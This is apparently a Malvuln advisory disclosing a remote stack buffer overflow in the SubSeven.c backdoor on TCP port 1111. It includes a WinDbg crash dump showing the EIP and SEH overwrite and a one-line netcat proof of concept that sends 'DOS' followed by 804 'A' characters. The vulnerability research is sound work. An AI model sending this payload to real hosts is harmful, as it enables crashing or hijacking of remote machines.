Backdoor.Win32.SubSeven.c Buffer Overflow

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/bc7f4c4689f1b8ad395404d1e75c776f.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.SubSeven.c  
Vulnerability: Remote Stack Buffer Overflow  
Description: The malware listens on TCP port 1111. Third-party attackers who can reach an infected system can send a specially crafted packet prefixed with "DOS". This will trigger a classic stack buffer overflow overwriting ECX, EIP registers and structured exception handler (SEH).  
Type: PE32  
MD5: bc7f4c4689f1b8ad395404d1e75c776f  
Vuln ID: MVID-2022-0448  
Dropped files: (cfvfpgnf.exe) randomly named  
ASLR: False  
DEP: False  
Safe SEH: False  
Disclosure: 01/05/2022  
  
Memory Dump:  
(192c.1d7c): Access violation(192c.1d7c): Access violation - code c0000005 (first/second chance not available)  
- code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000  
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
  
0:000> ecxr  
*** WARNING: Unable to verify checksum for cfvfpgnf.exe  
*** ERROR: Module load completed but symbols could not be loaded for cfvfpgnf.exe  
Couldn't resolve error at 'cxr'  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
Failed calling InternetOpenUrl, GLE=12029  
  
FAULTING_IP:  
+26  
41414141 ?? ???  
  
EXCEPTION_RECORD: 0019ee34 -- (.exr 0x19ee34)  
0019ee34 -- (.exr 0x19ee34)  
ExceptionAddress: 41414141  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 41414141  
Attempt to read from address 41414141  
  
PROCESS_NAME: cfvfpgnf.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000008  
  
EXCEPTION_PARAMETER2: 41414141  
  
WRITE_ADDRESS: 41414141  
  
FOLLOWUP_IP:  
+26  
  
41414141 ?? ???  
  
FAILED_INSTRUCTION_ADDRESS:  
+26  
  
41414141 ?? ???  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
IP_ON_HEAP: 41414141  
The fault address in not in any loaded module, please check your build's rebase  
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may  
contain the address if it were loaded.  
  
IP_IN_FREE_BLOCK: 41414141  
  
CONTEXT:  
MOD_LIST: <ANALYSIS/>  
  
CONTEXT: 0019ee84 -- (.cxr 0x19ee84)  
0019ee84 -- (.cxr 0x19ee84)  
eax=00010000 ebx=04163c0c ecx=7673eb0d edx=00000000 esi=005d0a48 edi=04040d17  
eip=41414141 esp=0019f2e4 ebp=41414141 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
41414141 ?? ???  
Resetting default scope  
  
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]  
  
LAST_CONTROL_TRANSFER: from 41414141 to 41414141  
  
FAULTING_THREAD: ffffffff  
  
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE  
  
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_STACKIMMUNE  
  
DEFAULT_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE  
  
FRAME_ONE_INVALID: 1  
  
STACK_TEXT:   
00000000 00000000 cfvfpgnf.exe+0x0  
  
STACK_COMMAND: .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb  
  
SYMBOL_NAME: cfvfpgnf.exe  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME:  
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]  
  
LAST_CONTROL_TRANSFER: from 41414141 to 41414141  
  
FAULTING_THREAD: ffffffff  
  
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE  
  
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_STACKIMMUNE  
  
DEFAULT_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE  
  
FRAME_ONE_INVALID: 1  
  
STACK_TEXT:   
00000000 00000000 cfvfpgnf.exe+0x0  
  
STACK_COMMAND: .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb  
  
SYMBOL_NAME: cfvfpgnf.exe  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: cfvfpgnf  
cfvfpgnf  
  
IMAGE_NAME: cfvfpgnf.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19  
  
FAILURE_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE_c0000005_cfvfpgnf.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_cfvfpgnf.exe  
  
Followup: MachineOwner  
---------  
  
0:000> !exchain  
ntdll!ExecuteHandler2+44 (773e9d70)  
0019f2e4: 0019f2e4: 41414141  
41414141  
Invalid exception stack at 41414141  
Invalid exception stack at 41414141  
  
  
Exploit/PoC:  
python -c "print('DOS'+'A'*804)" | nc64.exe x.x.x.x 1111  
connected. 23:37 - January 4, 2022, Tuesday, ver: Legends 2.1  
  
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